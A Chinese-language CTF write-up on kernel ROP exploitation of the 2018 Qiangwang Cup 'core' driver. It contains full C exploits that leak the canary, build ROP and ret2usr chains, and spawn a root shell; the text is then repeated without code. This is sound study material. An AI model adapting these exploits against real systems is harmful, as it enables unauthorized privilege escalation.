Linux Kernel Exploit 内核漏洞学习(2)-ROP
字数 1508 2025-08-03 16:44:22

Linux内核漏洞利用:ROP技术详解

1. ROP技术概述

ROP(Return-oriented Programming)是一种利用程序中已有代码片段(gadgets)来改变寄存器或变量值,从而控制程序执行流程的攻击方法。在内核态和用户态均可使用,基本原理相同。

2. 内核态ROP关键知识点

2.1 内核态与用户态切换

当系统从内核态返回到用户态时,必须执行以下操作:

  • 通过swapgs指令恢复用户态GS值
  • 通过sysretqiretq指令返回用户空间
    • 使用iretq时需要提供用户空间信息(CS、eflags/rflags、esp/rsp等)

2.2 保存用户态状态

可通过以下函数保存用户态寄存器状态:

unsigned long user_cs, user_ss, user_eflags, user_sp;

void save_stats(){
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_eflags), "=r"(user_sp)
        :
        : "memory"
    );
}

2.3 提权函数

内核提权到root的简单方法:

commit_creds(prepare_kernel_cred(0));
  • prepare_kernel_cred(0):分配新的cred结构(uid=0, gid=0)
  • commit_creds():将新cred应用到调用进程

这两个函数的地址可通过/proc/kallsyms查看(需要root权限)。

3. 漏洞分析(以2018强网杯core为例)

3.1 驱动保护机制

  • 开启Canary保护

3.2 关键函数分析

  1. core_ioctl:

    • 定义三条命令,分别调用core_read()core_copy_func()
    • 可设置全局变量off
  2. core_copy_func:

    • 根据用户输入长度,从全局变量name往栈上写数据
    • 存在类型转换漏洞:
      • 判断时使用signed long long
      • qmemcpy时使用unsigned __int16
    • 可通过输入如0xf000000000000000|0x100绕过限制,造成栈溢出
  3. core_read:

    • 从栈上读取0x40字节数据
    • 起始位置通过off全局变量控制
    • 可越界读取返回地址、Canary等信息
  4. core_write:

    • 向全局变量name写入长度≤0x800的字符串

4. 利用思路

  1. 通过ioctl设置off,用core_read()泄露Canary
  2. 通过core_write()name写入构造的ROP链
  3. 利用core_copy_func()将ROP链写入栈变量,进行ROP攻击
  4. ROP调用commit_creds(prepare_kernel_cred(0))
  5. 执行swapgsiretq返回用户态
  6. 用户态启动shell获取root权限

5. 调试准备

修改init文件以root权限启动:

setsid /bin/cttyhack setuidgid 0 /bin/sh

6. 地址泄露

  1. 通过core_read泄露栈内容
  2. 计算vmlinux和core.ko的基地址
    • 泄露地址减去偏移量得到基地址
  3. 使用ropper查找gadgets:
    ropper --file core.ko --search "pop|ret"
    

7. EXP编写

7.1 标准ROP利用

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int fd;
unsigned long user_cs, user_ss, user_eflags, user_sp;

void core_read(char *buf){
    ioctl(fd, 0x6677889B, buf);
}

void change_off(long long v1){
    ioctl(fd, 0x6677889c, v1);
}

void core_write(char *buf, int a3){
    write(fd, buf, a3);
}

void core_copy_func(long long size){
    ioctl(fd, 0x6677889a, size);
}

void shell(){
    system("/bin/sh");
}

void save_stats(){
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_eflags), "=r"(user_sp)
        :
        : "memory"
    );
}

int main(){
    int ret, i;
    char buf[0x100];
    size_t vmlinux_base, core_base, canary;
    size_t commit_creds_addr, prepare_kernel_cred_addr;
    size_t commit_creds_offset = 0x9c8e0;
    size_t prepare_kernel_cred_offset = 0x9cce0;
    size_t rop[0x100];
    
    save_stats();
    fd = open("/proc/core", O_RDWR);
    
    change_off(0x40);
    core_read(buf);
    
    vmlinux_base = *(size_t*)(&buf[0x20]) - 0x1dd6d1;
    core_base = *(size_t*)(&buf[0x10]) - 0x19b;
    prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset;
    commit_creds_addr = vmlinux_base + commit_creds_offset;
    canary = *(size_t*)(&buf[0]);
    
    printf("[*]canary:%p\n", canary);
    printf("[*]vmlinux_base:%p\n", vmlinux_base);
    printf("[*]core_base:%p\n", core_base);
    printf("[*]prepare_kernel_cred_addr:%p\n", prepare_kernel_cred_addr);
    printf("[*]commit_creds_addr:%p\n", commit_creds_addr);

    // 构造ROP链
    for(i=0; i<8; i++){
        rop[i] = 0x66666666; // 填充垃圾数据
    }
    rop[i++] = canary;
    rop[i++] = 0; // rbp
    rop[i++] = vmlinux_base + 0xb2f; // pop rdi; ret
    rop[i++] = 0; // rdi
    rop[i++] = prepare_kernel_cred_addr;
    rop[i++] = vmlinux_base + 0xa0f49; // pop rdx; ret
    rop[i++] = vmlinux_base + 0x21e53; // pop rcx; ret
    rop[i++] = vmlinux_base + 0x1aa6a; // mov rdi, rax; call rdx
    rop[i++] = commit_creds_addr;
    rop[i++] = core_base + 0xd6; // swapgs; ret
    rop[i++] = 0; // rbp
    rop[i++] = vmlinux_base + 0x50ac2; // iretq; ret
    rop[i++] = (size_t)shell;
    rop[i++] = user_cs;
    rop[i++] = user_eflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    
    core_write(rop, 0x100);
    core_copy_func(0xf000000000000100);
    
    return 0;
}

7.2 ret2usr方法

当内核未开启SMEP保护时,可使用ret2usr方法:

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int fd;
unsigned long user_cs, user_ss, user_eflags, user_sp;
size_t commit_creds_addr, prepare_kernel_cred_addr;

// ... 其他函数同上 ...

void get_root(){
    char *(*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char*) = commit_creds_addr;
    (*cc)((*pkc)(0));
}

int main(){
    // ... 初始化部分同上 ...
    
    // 构造ROP链
    for(i=0; i<8; i++){
        rop[i] = 0x66666666;
    }
    rop[i++] = canary;
    rop[i++] = 0x0;
    rop[i++] = (size_t)get_root;
    rop[i++] = core_base + 0xd6; // swapgs; ret
    rop[i++] = 0; // rbp
    rop[i++] = vmlinux_base + 0x50ac2; // iretq; ret
    rop[i++] = (size_t)shell;
    rop[i++] = user_cs;
    rop[i++] = user_eflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    
    core_write(rop, 0x100);
    core_copy_func(0xf000000000000100);
    
    return 0;
}

8. 关键点说明

  1. 填充大小确定:通过gdb动态调试确定需要填充的垃圾数据大小(本例中为0x40)

  2. ROP链中的pop rcx

    • 由于call指令会将返回地址压栈,会破坏ROP链
    • 需要pop rcx将其弹出
  3. ret2usr原理

    • 利用内核空间可访问用户空间的特性
    • 直接返回到用户空间构造的提权函数
    • 需要内核未开启SMEP保护

9. 编译与运行

编译命令:

gcc poc.c -o poc -w -static

运行:

./poc

10. 总结

内核ROP利用与用户态ROP原理相似,但需要注意:

  1. 内核态与用户态切换机制
  2. 内核地址泄露方法
  3. 内核保护机制(Canary、SMEP等)的绕过
  4. 调试难度较大,崩溃时gdb可能无法断下
Linux内核漏洞利用:ROP技术详解 1. ROP技术概述 ROP(Return-oriented Programming)是一种利用程序中已有代码片段(gadgets)来改变寄存器或变量值,从而控制程序执行流程的攻击方法。在内核态和用户态均可使用,基本原理相同。 2. 内核态ROP关键知识点 2.1 内核态与用户态切换 当系统从内核态返回到用户态时,必须执行以下操作: 通过 swapgs 指令恢复用户态GS值 通过 sysretq 或 iretq 指令返回用户空间 使用 iretq 时需要提供用户空间信息(CS、eflags/rflags、esp/rsp等) 2.2 保存用户态状态 可通过以下函数保存用户态寄存器状态: 2.3 提权函数 内核提权到root的简单方法: prepare_kernel_cred(0) :分配新的cred结构(uid=0, gid=0) commit_creds() :将新cred应用到调用进程 这两个函数的地址可通过 /proc/kallsyms 查看(需要root权限)。 3. 漏洞分析(以2018强网杯core为例) 3.1 驱动保护机制 开启Canary保护 3.2 关键函数分析 core_ ioctl : 定义三条命令,分别调用 core_read() 、 core_copy_func() 可设置全局变量 off core_ copy_ func : 根据用户输入长度,从全局变量 name 往栈上写数据 存在类型转换漏洞: 判断时使用 signed long long qmemcpy 时使用 unsigned __int16 可通过输入如 0xf000000000000000|0x100 绕过限制,造成栈溢出 core_ read : 从栈上读取0x40字节数据 起始位置通过 off 全局变量控制 可越界读取返回地址、Canary等信息 core_ write : 向全局变量 name 写入长度≤0x800的字符串 4. 利用思路 通过 ioctl 设置 off ,用 core_read() 泄露Canary 通过 core_write() 向 name 写入构造的ROP链 利用 core_copy_func() 将ROP链写入栈变量,进行ROP攻击 ROP调用 commit_creds(prepare_kernel_cred(0)) 执行 swapgs 和 iretq 返回用户态 用户态启动shell获取root权限 5. 调试准备 修改init文件以root权限启动: 6. 地址泄露 通过 core_read 泄露栈内容 计算vmlinux和core.ko的基地址 泄露地址减去偏移量得到基地址 使用ropper查找gadgets: 7. EXP编写 7.1 标准ROP利用 7.2 ret2usr方法 当内核未开启SMEP保护时,可使用ret2usr方法: 8. 关键点说明 填充大小确定 :通过gdb动态调试确定需要填充的垃圾数据大小(本例中为0x40) ROP链中的pop rcx : 由于 call 指令会将返回地址压栈,会破坏ROP链 需要 pop rcx 将其弹出 ret2usr原理 : 利用内核空间可访问用户空间的特性 直接返回到用户空间构造的提权函数 需要内核未开启SMEP保护 9. 编译与运行 编译命令: 运行: 10. 总结 内核ROP利用与用户态ROP原理相似,但需要注意: 内核态与用户态切换机制 内核地址泄露方法 内核保护机制(Canary、SMEP等)的绕过 调试难度较大,崩溃时gdb可能无法断下